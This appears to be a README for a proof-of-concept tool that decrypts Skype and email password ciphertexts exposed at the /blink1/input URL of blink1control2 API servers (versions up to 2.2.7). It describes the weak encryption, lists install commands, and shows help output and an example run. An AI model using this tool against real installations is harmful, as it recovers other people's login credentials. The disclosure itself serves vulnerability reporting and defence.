用于对 API 服务器 /blink/input 处发现的密文进行解密的 PoC 和简单脚本,
适用于 blink1control2 安装(版本 <=2.2.7)。
blink1control2 应用使用弱密码加密和不安全的存储方式,可通过访问 API 服务器的 /blink1/input url
发现。
其中列出了 Skype 登录和电子邮件的密码密文,并且可以被解密。
sudo apt install npm
npm install argparse
npm install simplecrypt
使用 ./blink1-pass-decrypt 或 node blink1-pass-decrypt,加上 -h 或 --help 即可查看帮助菜单:
usage: blink-pass-decrypt [-h] ciphertext
decrypts passwords found at the /blink/input url of the blink1control2 api
server (version <= 2.2.7 ).
positional arguments:
ciphertext encrypted password string to use
optional arguments:
-h, --help show this help message and exit
示例:
node blink1-pass-decrypt '69827e0ecea378946e999df4313cb9a1e49c049a7b9bac8bf1105cdec9f221c8'